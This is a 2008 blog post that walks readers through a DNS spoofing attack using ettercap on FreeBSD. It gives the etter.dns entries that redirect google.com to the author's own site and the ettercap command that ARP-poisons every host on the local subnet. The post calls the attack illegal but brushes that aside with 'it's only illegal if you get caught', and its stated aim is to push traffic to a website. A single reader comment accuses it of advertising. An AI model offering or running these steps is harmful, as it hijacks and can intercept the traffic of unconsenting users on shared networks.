Wednesday, July 9, 2008

DNS Spoof

This will only work if the computer running ettercap is set as DMZ or has a direct wan connection. This is ILLEGAL! can't stress that enough, but like the saying goes it's only illegal if you get caught. This will only affect people on the same subnet as you. To show you how many people will be affected by this attack grab you IP address and subnet and convert it to binary. I'm going to use a comcast one for example.
71.235.115.114
255.255.248.0
01000111.11101011.01110011.01110010
11111111.11111111.11111000.00000000
I'm not going to walk you through how to do this bulian math, since you are trying to learn how to hack you should have a basic understanding of networking math. So this is what will be affected.
01000111.11101011.01110000.00000000-01000111.11101011.01110111.11111111
71.235.112.0-71.235.119.255
So that is 1,785 hosts that will be affected as long as you are intiating an attack.
Now on to the attack it self.
As I said earlier we will be running ettercap, I will be using it on FreeBSD.Firstly we need to edit the etter.dns file to input our entry.
#nano /usr/local/share/ettercap/etter.dns
There will be an example already in that will redirect microsft to linux website.

"microsoft.com A 198.182.196.56
*.microsoft.com A 198.182.196.56
www.microsoft.com PTR 198.182.196.56"

To get as many hits on my website as fast as possible I'm going to redirect google.com to my website.

"google.com A 64.148.32.238
*.google.com A 64.148.32.238
www.google.com PTR 64.148.32.238"

Now to run it. We use the following command
#ettercap -T -q -i sk0 -P dns_spoof -M arp // //

Let me break this down for all.
T = text interface
q = quiet
i = interface
p = plug
M = man in the middle
// // = specify all hosts

Thats it when ever anyone goes to google.com the will get redirected to wcosug.org. Notice this will only redirect to dns names that are directly binded to IP address, this will not work with virtual hosts. Since you need to use an IP and not a DNS name in the config file.

1 comment:

Anonymous said...

Stop advertising, you idiots.